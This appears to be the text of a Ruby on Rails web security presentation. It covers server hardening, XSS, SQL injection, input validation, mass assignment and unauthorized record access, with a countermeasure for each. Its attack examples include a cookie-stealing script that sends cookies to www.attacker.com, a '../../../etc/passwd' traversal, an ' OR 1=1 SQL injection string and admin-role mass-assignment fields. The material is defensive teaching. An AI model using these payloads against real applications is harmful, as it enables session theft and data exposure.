390 likes | 583 Views
Ruby On Rails Security. Heiko Webers Security Consultant 42@rorsecurity.info. Heiko Webers. Ruby On Rails Security Project: www.RoRsecurity.info Author of „Ruby On Rails Security“, parts already available at the OWASP (www.owasp.org) Ruby On Rails Security Audits Software firm.
E N D
Ruby On Rails Security Heiko Webers Security Consultant 42@rorsecurity.info
Heiko Webers • Ruby On Rails Security Project: www.RoRsecurity.info • Author of „Ruby On Rails Security“, parts already available at the OWASP (www.owasp.org) • Ruby On Rails Security Audits • Software firm
Why Security? • „Why my small site …?“, because large enterprises are harder to attack, part of a large-scale attack (bot nets), not all attacks come from the outside • 2002: 90% of corporations and government agencies detected computer security breaches, 80% of those with financial losses • Recovery takes significant time and effort
Layer model • Security of Ruby On Rails depends on the three typical layers of web applications: • Web server, Apache here • Database Management System, MySQL here • Ruby On Rails
Threats to Web Applications • “An insecure server is like a tunnel into Fort Knox” • Here: Web Application Security • Gartner Group: 75% of hacks are at the web application level, out of 300 audited sites, 97% are vulnerable to attack
Threats to Web Applications • CardSystems 2004: 263,000 credit card numbers stolen • CNBC 2007: $1,000,000 stock trading contest hacked • MySpace 2006: 57,000 user names and passwords stolen • Tailor-made Trojans for Monster.com • Credit card number ($25), eBay account ($7) • Don’t act when it’s too late
Security measures for Apache • Deactivate the modules you do not need • Run Apache with the privileges of a special Unix user: Limited access in case of a security compromise • Files and directories: “generally disallow access, allow only in particular” • Do not store file uploads in DocumentRoot
Security measures for MySQL • Run MySQL with the privileges of a special Unix user, too • Use bind-address = 127.0.0.1 to allow connections to the MySQL server from the local host, only • Create a special MySQL user which has limited access to the database of the Rails application
Profiling • Objective: How does the web application work internally • Operating system, web server, database server, programming language + framework, directory structure • Controller, Actions, URL parameters, database tables and fields, …
Profiling: Tools • Analysis tools, comments in the source code, leftover files and controllers, debug actions • Robots.txt User-agent: *Disallow: /admin/Disallow: /catalog/adminDisallow: /private • Google, Google Hacking Database, The Wayback Machine
Profiling: Tools • URL parameters: http://www.domain.com/project/1/show?userId=1&returnTo=www.domain.com&file=project1.doc • userId=42 • returnTo=www.attacker.com • file= ../../../etc/passwd (../ == %2e%2e%2f)
Interpreter Injection • Inject malicious code into the application in order to execute it in the security context of it • First two places in the OWASP Top Ten
Interpreter Injection: Overview • User Agent Injection • SQL Injection
User Agent Injection • Also: Browser Injection, Cross Site Scripting (XSS) • Injection: HTML, mostly in conjunction with JavaScript, but also other formats that the browser or other software understands • Where: Forum, comments, headings, user names, search results, user reports, e-mail recommendation, bug report
User Agent Injection: Objectives • Defacement here: Exchange of web application elements to lure the victim into a trap • Original: • Imitation: • Means: CSS and HTML Injection • position a trap element exactly over the original one
Excursus: Cookies • _session_id=16d5b78abb28e3d6206b60f22a03c8d9 • Temporary “key” to the web application after authentication by user name + password • Cookies can be stolen!
User Agent Injection: Stealing Cookies • Sniffing, Internet café • In Javascript document.cookie, Same Origin Policy • Through injection the code becomes part of the document, may access all objects <script>document.write('<img src="http://www. attacker.com/' + document.cookie + '">');</script> • Normal image tag? <img src=ja vascript:alert('XSS')>
User Agent Injection: Countermeasures • If you need mark-up: Markdown (less tags allowed) • Special syntax: RedCloth, _hello_ becomes <em>hello<em> in HTML • Some Injection still possible, see my blog post for a solution • Full HTML allowed: • Blacklist filter, but: <script/src=..., onclick=... • Whitelist filter: WhiteListHelper plugin • No HTML at all: h @page.name • Do not forget to sanitize: SafeERB plugin
Interpreter Injection: Overview • User Agent Injection • SQL Injection
SQL Injection • Injection of SQL statements, in order to manipulate database queries • Bypass authentication • Unauthorized Reading • Manipulation of data
SQL Injection: Unauthorized Reading Project.find(:all,:conditions => "name = '#{params[:name]}' AND user = 3") SELECT * FROM projects WHERE (name = 'report' AND user = 3) ' OR 1=1)-- SELECT * FROM projects WHERE (name = '' OR 1=1)--' AND user = 3)
SQL Injection: Countermeasures • SQL Injection needs one of these characters: ' , " , NULL and line break • Rails automatically converts these characters in all but these methods: connection.execute(), find_by_sql() and in :conditions => "…“ options • Do not use string1 + string2 and #{Variable} here, but arrays:
SQL Injection: Countermeasures • Syntax: [String with wildcards, Variables] User.find(:first, :conditions => ["login = ? AND password = ?", params[:name], params[:password]]) • In Rails 1.2: Conditions Hash User.find(:first, :conditions => {:login => params[:name], :password => params[:password]})
Interpreter Injection: Overview • User Agent Injection • SQL Injection • Other Injection: Shell Injection, FQL Injection, …
Interpreter Injection: Validation • As you can see: ALL input from the user has to be considered malicious unless proven otherwise • Validation on the client-side useless, from a security point of view • Validation in the model: validates_length_of, … • How about validation in the controller? • Search action
Interpreter Injection: Validation if params[:id] && params[:id].to_i > 0then ... • Or ActiveForm plugin for validation class Search < ActiveForm attr_accessor :text validates_length_of :text, :maximum => 30 end def search if Search.new(params[:search]).valid? then ...ok... end end
Interpreter Injection: Validation validates_format_of :file, :with => /^[\w\.\-\+]+$/ params[:file] = "file.txt%0A<script>alert('hello')</script>" /\A[\w\.\-\+]+\z/
Mass Assignment <inputid="user_first_name" name="user[first_name]" size="30" type="text" /> @user = User.new(params[:user]) <inputid="user_verified" name="user[verified]" type="hidden" value="1" /> <inputid="user_role" name="user[role]" type= "hidden" value="admin" />
Mass Assignment • Assign values individually:User.new(:first_name => params[:user][:first_name]) • Or in the model include:attr_accessible :first_name user = User.new(:first_name => “Heiko“, :verified => true) user.verified # => false user.verified = true user.verified # => true
Ajax • Output filters normally go into the View: <%= h @project.title %> • (Ajax) methods that return a string and do not render a View have to sanitize the string before • The action for in_place_editor() • name=h params[:name]
Conclusion • Security depends on the three layers • All input from the user has to be considered malicious unless proven otherwise • Already small security measures have a huge effect • Short overview, more attack vectors and its countermeasures on www.RoRsecurity.info, in my e-book • Invite me for a security audit
Extra: Logic Injection • Interpreter Injection injects code into an interpreter (Browser, DBMS etc.) • Logic Injection: Attempt to manipulate the application logic
Logic Injection: Unauthorized Access • Rails URL: http://www.domain.com/project/show/1 • Application logic: Access to alien projects disallowed • But everyone can change the URL • http://www.domain.com/project/show/2
Logic Injection: Unauthorized Access • Mostly@project = Project.find(params[:id]) @project = Project.find_by_id_and_user_id( params[:id], session[:user_id])
Logic Injection: Unauthorized Access def current_user User.find(session[:user_id]) end classUser < ActiveRecord::Base has_many :projects end @project = current_user.projects.find(params[:id])